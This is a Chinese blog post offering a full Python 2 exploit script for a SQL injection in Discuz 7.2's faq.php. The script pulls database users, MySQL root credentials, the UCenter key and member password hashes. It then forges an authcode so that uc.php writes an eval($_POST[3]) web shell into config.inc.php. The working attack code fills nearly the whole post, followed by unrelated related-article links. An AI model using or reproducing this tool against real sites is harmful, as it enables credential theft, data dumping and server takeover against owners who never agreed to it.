Python写的Discuz7.2版faq.php注入漏洞工具


Posted in Python onAugust 06, 2014

Discuz 7.2 faq.php全自动利用工具,getshell 以及dump数据,python 版的uc_key getshell部分的代码来自网上(感谢作者)

实现代码:

#!/usr/bin/env python
# -*- coding: gbk -*-
# -*- coding: gb2312 -*-
# -*- coding: utf_8 -*- 
# author iswin 
import sys
import hashlib
import time
import math
import base64
import urllib2 
import urllib
import re

def sendRequest(url,para):
	try:
		data = urllib.urlencode(para)
		req=urllib2.Request(url,data)
		res=urllib2.urlopen(req,timeout=20).read()
	except Exception, e:
		print 'Exploit Failed!\n%s'%(e)
		exit(0);
	return res

def getTablePrefix(url):
	print 'Start GetTablePrefix...'
	para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select hex(TABLE_NAME) from INFORMATION_SCHEMA.TABLES where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
	res=sendRequest(url,para);
	pre=re.findall("Duplicate entry '(.*?)'",res);
	if len(pre)==0:
		print 'Exploit Failed!'
		exit(0);
	table_pre=pre[0][:len(pre[0])-1].decode('hex')
	table_pre=table_pre[0:table_pre.index('_')]
	print 'Table_pre:%s'%(table_pre)
	return table_pre

def getCurrentUser(url):
	para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
	res=sendRequest(url,para)
	pre=re.findall("Duplicate entry '(.*?)'",res)
	if len(pre)==0:
		print 'Exploit Failed!'
		exit(0);
	table_pre=pre[0][:len(pre[0])-1]
	print 'Current User:%s'%(table_pre)
	return table_pre

def getUcKey(url):
	para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select substr(authkey,1,62) from cdb_uc_applications limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
	para1={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select substr(authkey,63,2) from cdb_uc_applications limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
	res=sendRequest(url,para);
	res1=sendRequest(url,para1);
	key1=re.findall("Duplicate entry '(.*?)'",res)
	key2=re.findall("Duplicate entry '(.*?)'",res1)
	if len(key1)==0:
		print 'Get Uc_Key Failed!'
		return ''
	key=key1[0][:len(key1[0])-1]+key2[0][:len(key2[0])-1]
	print 'uc_key:%s'%(key)
	return key

def getRootUser(url):
	para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select concat(user,0x20,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
	res=sendRequest(url,para);
	pre=re.findall("Duplicate entry '(.*?)'",res)
	if len(pre)==0:
		print 'Exploit Failed!'
		exit(0);
	table_pre=pre[0][:len(pre[0])-1].split(' ')
	print 'root info:\nuser:%s password:%s'%(table_pre[0],table_pre[1])

def dumpData(url,table_prefix,count):
	para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select concat(username,0x20,password) from %s_members limit %d,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'%(table_prefix,count)}
	res=sendRequest(url,para);
	datas=re.findall("Duplicate entry '(.*?)'",res)
	if len(datas)==0:
		print 'Exploit Failed!'
		exit(0)
	cleandata=datas[0][:len(datas[0])-1]
	info=cleandata.split(' ')
	print 'user:%s pass:%s'%(info[0],info[1])

def microtime(get_as_float = False) :
  if get_as_float:
    return time.time()
  else:
    return '%.8f %d' % math.modf(time.time())
 
def get_authcode(string, key = ''):
  ckey_length = 4
  key = hashlib.md5(key).hexdigest()
  keya = hashlib.md5(key[0:16]).hexdigest()
  keyb = hashlib.md5(key[16:32]).hexdigest()
  keyc = (hashlib.md5(microtime()).hexdigest())[-ckey_length:]
  cryptkey = keya + hashlib.md5(keya+keyc).hexdigest() 
  key_length = len(cryptkey)
  string = '0000000000' + (hashlib.md5(string+keyb)).hexdigest()[0:16]+string
  string_length = len(string)
  result = ''
  box = range(0, 256)
  rndkey = dict()
  for i in range(0,256):
    rndkey[i] = ord(cryptkey[i % key_length])
  j=0
  for i in range(0,256):
    j = (j + box[i] + rndkey[i]) % 256
    tmp = box[i]
    box[i] = box[j]
    box[j] = tmp
  a=0
  j=0
  for i in range(0,string_length):
    a = (a + 1) % 256
    j = (j + box[a]) % 256
    tmp = box[a]
    box[a] = box[j]
    box[j] = tmp
    result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256]))
  return keyc + base64.b64encode(result).replace('=', '')
 
def get_shell(url,key,host):
  headers={'Accept-Language':'zh-cn',
  'Content-Type':'application/x-www-form-urlencoded',
  'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)',
  'Referer':url
  }
  tm = time.time()+10*3600
  tm="time=%d&action=updateapps" %tm
  code = urllib.quote(get_authcode(tm,key))
  url=url+"?code="+code
  data1='''<?xml version="1.0" encoding="ISO-8859-1"?>
      <root>
      <item id="UC_API">http://xxx\');eval($_POST[3]);//</item>
      </root>'''
  try:
    req=urllib2.Request(url,data=data1,headers=headers)
    ret=urllib2.urlopen(req)
  except:
    return "Exploit Falied"
  data2='''<?xml version="1.0" encoding="ISO-8859-1"?>
      <root>
      <item id="UC_API">http://aaa</item>
      </root>'''
  try:
    req=urllib2.Request(url,data=data2,headers=headers)
    ret=urllib2.urlopen(req)
  except:
    return "error"

  try:
  	req=urllib2.Request(host+'/config.inc.php')
  	res=urllib2.urlopen(req,timeout=20).read()
  except Exception, e:
  	print 'GetWebshell Failed,%s'%(e)
   	return
  print "webshell:"+host+"/config.inc.php,password:3"

if __name__ == '__main__':
	print 'DZ7.x Exp Code By iswin'
	if len(sys.argv)<3:
		print 'DZ7.x Exp Code By iswin\nusage:python dz7.py https://3water.com 10'
		exit(0)
	url=sys.argv[1]+'/faq.php'
	count=int(sys.argv[2])
	user=getCurrentUser(url)
	if user.startswith('root@'):
		getRootUser(url)
	uc_key=getUcKey(url)
	if len(uc_key)==64:
		print 'Start GetWebshell...'
		get_shell(sys.argv[1]+'/api/uc.php',uc_key,sys.argv[1])
	tb_pre=getTablePrefix(url)
	print 'Start DumpData...'
	for x in xrange(0,count):
		dumpData(url,tb_pre,x)
Python 相关文章推荐
12步入门Python中的decorator装饰器使用方法
Jun 20 Python
基于Python的接口测试框架实例
Nov 04 Python
python 根据正则表达式提取指定的内容实例详解
Dec 04 Python
Python实现PS滤镜特效之扇形变换效果示例
Jan 26 Python
python图书管理系统
Apr 05 Python
教你使用python画一朵花送女朋友
Mar 29 Python
解决python ogr shp字段写入中文乱码的问题
Dec 31 Python
在django中实现页面倒数几秒后自动跳转的例子
Aug 16 Python
在Python中使用turtle绘制多个同心圆示例
Nov 23 Python
django 文件上传功能的相关实例代码(简单易懂)
Jan 22 Python
利用 PyCharm 实现本地代码和远端的实时同步功能
Mar 23 Python
Django+Django-Celery+Celery的整合实战
Jan 20 Python
Python常用列表数据结构小结
Aug 06 #Python
Python生成pdf文件的方法
Aug 04 #Python
Tornado Web服务器多进程启动的2个方法
Aug 04 #Python
Python通过解析网页实现看报程序的方法
Aug 04 #Python
基于Python实现的扫雷游戏实例代码
Aug 01 #Python
python脚本实现查找webshell的方法
Jul 31 #Python
用python删除java文件头上版权信息的方法
Jul 31 #Python
You might like
php中用socket模拟http中post或者get提交数据的示例代码
2013/08/08 PHP
php中autoload的用法总结
2013/11/08 PHP
更改localhost为其他名字的方法
2014/02/10 PHP
php使用PDO方法详解
2014/12/27 PHP
PHP中功能强大却很少使用的函数实例小结
2016/11/10 PHP
PHP输出XML格式数据的方法总结
2017/02/08 PHP
可兼容php5与php7的cURL文件上传功能实例分析
2018/05/11 PHP
js实现上传图片之上传前预览图片
2013/03/25 Javascript
html+css+js实现xp window界面及有关功能
2013/03/26 Javascript
JQuery替换DOM节点的方法
2015/06/11 Javascript
基于JavaScript实现TAB标签效果
2016/01/12 Javascript
基于JavaScript实现动态添加删除表格的行
2016/02/01 Javascript
JavaScript模拟数组合并concat
2016/03/06 Javascript
浅谈EasyUi ComBotree树修改 父节点选择的问题
2016/11/07 Javascript
Bootstrap CSS使用方法
2016/12/23 Javascript
详解angular ui-grid之过滤器设置
2017/06/07 Javascript
JavaScript实现提交模式窗口后刷新父窗口数据的方法
2017/06/16 Javascript
微信小程序“摇一摇”的实例代码
2017/07/20 Javascript
打造通用的匀速运动框架(实例讲解)
2017/10/17 Javascript
JS实现简单的浮动碰撞效果示例
2017/12/28 Javascript
使用Vue制作图片轮播组件思路详解
2018/03/21 Javascript
ES6关于Promise的用法详解
2018/05/07 Javascript
vue实现分页栏效果
2019/06/28 Javascript
Vue+ElementUI项目使用webpack输出MPA的方法
2019/08/27 Javascript
python 调用HBase的简单实例
2016/12/18 Python
python fabric实现远程部署
2017/01/05 Python
numpy中以文本的方式存储以及读取数据方法
2018/06/04 Python
python中对二维列表中一维列表的调用方法
2020/06/07 Python
一款超酷的js+css3实现的3D标签云特效兼容ie7/8/9
2013/11/18 HTML / CSS
国际花店:Pickup Flowers
2020/04/10 全球购物
书法兴趣小组活动总结
2014/07/07 职场文书
2015年师德师风自我评价范文
2015/03/05 职场文书
自主招生专家推荐信
2015/03/26 职场文书
田径运动会通讯稿
2015/07/18 职场文书
2016年第32个教师节致辞
2015/11/26 职场文书
带你了解CSS基础知识,样式
2021/07/21 HTML / CSS